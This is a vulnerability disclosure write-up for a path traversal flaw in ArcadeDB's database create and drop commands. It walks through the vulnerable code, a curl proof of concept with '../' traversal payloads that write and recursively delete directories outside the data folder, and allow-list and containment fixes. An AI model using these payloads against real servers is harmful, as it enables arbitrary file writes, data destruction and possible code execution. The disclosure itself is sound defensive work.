August 20, 2026
CVE-2026 — 75855 : Path Traversal in ArcadeDB - Arbitrary File Write and Delete via Database Names
ArcadeDB is a multi-model database engine with an HTTP server API. Like most database servers, it lets an admin create and drop databases…
By Pervin Zahidli
3 min read
ArcadeDB is a multi-model database engine with an HTTP server API. Like most database servers, it lets an admin create and drop databases by name through a management endpoint. The assumption baked into that feature — that a "database name" is just a name — turned out not to hold.
The Vulnerable Code
The server exposes database management through POST /api/v1/server, handled here (PostServerCommandHandler.java):
private void createDatabase(final String databaseName) {
if (databaseName.isEmpty())
throw new IllegalArgumentException("Database name empty");
checkServerIsLeaderIfInHA();
final ArcadeDBServer server = httpServer.getServer();
final ServerDatabase db = server.createDatabase(databaseName, ComponentFile.MODE.READ_WRITE);
...
}private void createDatabase(final String databaseName) {
if (databaseName.isEmpty())
throw new IllegalArgumentException("Database name empty");
checkServerIsLeaderIfInHA();
final ArcadeDBServer server = httpServer.getServer();
final ServerDatabase db = server.createDatabase(databaseName, ComponentFile.MODE.READ_WRITE);
...
}That's the entire validation: not empty. That's it. databaseName then flows, completely unmodified, into ArcadeDBServer.createDatabase():
final DatabaseFactory factory = new DatabaseFactory(
configuration.getValueAsString(GlobalConfiguration.SERVER_DATABASE_DIRECTORY) + File.separator
+ databaseName).setAutoTransaction(true);final DatabaseFactory factory = new DatabaseFactory(
configuration.getValueAsString(GlobalConfiguration.SERVER_DATABASE_DIRECTORY) + File.separator
+ databaseName).setAutoTransaction(true);That's raw string concatenation — not Path.resolve(), not a containment check. Nowhere in DatabaseFactory does anything call .normalize() or verify the resolved path is still inside the configured base directory before the actual file writes happen. dropDatabase() has the identical gap. And because the server registers the database internally under the literal name you gave it — traversal sequence and all — a later drop database with that same string will recursively delete whatever create database pointed it at.
checkRootUser() gates both commands, so exploiting this requires ArcadeDB's own root credential. But that's an application-level superuser account, deliberately kept separate from OS access in ArcadeDB's own security model — not something meant to imply "can write anywhere on the host filesystem."
Proof of Concept
Tested against a fresh build from source (ArcadeData/arcadedb @ 545e703), run standalone with arcadedb.server.databaseDirectory=/databases.
-
Confirm the real database directory starts empty.
-
Send a
create databasecommand with a traversal payload:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"create database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"} HTTP 200curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"create database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"} HTTP 200- Verify it landed outside the configured directory entirely:
ls -la /tmp/arcadedb-traversal-poc/
→ configuration.json, schema.json, dictionary.*.dict, txlog_0.wal — a full, real ArcadeDB databasels -la /tmp/arcadedb-traversal-poc/
→ configuration.json, schema.json, dictionary.*.dict, txlog_0.wal — a full, real ArcadeDB databaseThe intended /databases directory never received anything. list databases echoes back the literal traversal string, confirming there's zero normalization happening anywhere in the pipeline:
{"result":["../../../../../../tmp/arcadedb-traversal-poc"]}{"result":["../../../../../../tmp/arcadedb-traversal-poc"]}-
Repeated with a deeper traversal targeting
/etc/arcadedb-poc2— identical success, showing the write isn't confined to/tmpor any particular area, only to wherever the process has OS-level write permission. Also reproduced with a minimal single-../ traversal, confirming this is a genuine escape and not a fluke of the specific payload. -
drop databasewith the same string recursively deletes the directory:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"drop database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"}curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"drop database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"}Directory confirmed gone afterward. Re-ran the entire sequence from a fresh server restart to rule out any state-dependence — same result every time.
The Real-World Attack Surface
This is arbitrary file write and arbitrary recursive delete, gated only by knowledge of the root password — not by anything scoping the blast radius to the database directory the operator actually configured.
- Write side:
create databaseplants real files at any path the JVM process can reach. Depending on deployment, that's a direct path to code execution — write into a directory another process loads from, drop a file under something web-served, overwrite a config another service reads on startup. - Delete side:
drop databaserecursively deletes whatever directory it's pointed at. That doesn't have to be something ArcadeDB created in this session — any traversal string that happens to resolve to an existing directory the process can write to is a deletion target. That's an immediate, clean denial-of-service / data-destruction primitive against ArcadeDB's own data or any other application's data sharing the host. - Trust boundary violation: ArcadeDB deliberately separates its root database credential from OS-level access — that's a real, documented design choice, not an assumption I'm imposing. This bug erases that boundary: anyone with the application root password effectively gets host filesystem write/delete, scoped only by OS permissions on the process itself.
The root-only requirement narrows who can trigger it, but it doesn't reduce what it does once triggered — and "root credential leaked or brute-forced" is a far more plausible incident than "attacker got a shell," which is exactly the gap this bug closes for them.
The Fix
Fixed in ArcadeDB 26.8.1. If you're running anything earlier, upgrade. The rest of this section is what a correct fix looks like at the code level.
Two independent layers close this properly, and both are needed:
Reject the name outright before it's used for anything. Database names are identifiers, not paths — enforce that with an allow-list:
if (!databaseName.matches("^[A-Za-z0-9_-]+$"))
throw new IllegalArgumentException("Invalid database name");if (!databaseName.matches("^[A-Za-z0-9_-]+$"))
throw new IllegalArgumentException("Invalid database name");Defensively verify containment at the point the path is actually built, in both createDatabase and dropDatabase, so this class of bug can't resurface through some other caller later:
Path resolved = Paths.get(baseDirectory, databaseName).normalize();
if (!resolved.startsWith(Paths.get(baseDirectory).normalize()))
throw new IllegalArgumentException("Path escapes database directory");Path resolved = Paths.get(baseDirectory, databaseName).normalize();
if (!resolved.startsWith(Paths.get(baseDirectory).normalize()))
throw new IllegalArgumentException("Path escapes database directory");References
- NVD — CVE-2026–75855 https://nvd.nist.gov/vuln/detail/CVE-2026-75855
- VulnCheck Advisory — ArcadeDB before 26.8.1 Path Traversal via create/drop database https://www.vulncheck.com/advisories/arcadedb-before-path-traversal-via-create-drop-database
- GitHub Security Advisory — GHSA-qwgr-2c45–63xx https://github.com/ArcadeData/arcadedb/security/advisories/GHSA-qwgr-2c45-63xx
- MITRE CVE Record — CVE-2026–75855 https://www.cve.org/CVERecord?id=CVE-2026-75855
Discovered and reported by Pervin Zahidli (pervinzahlidli).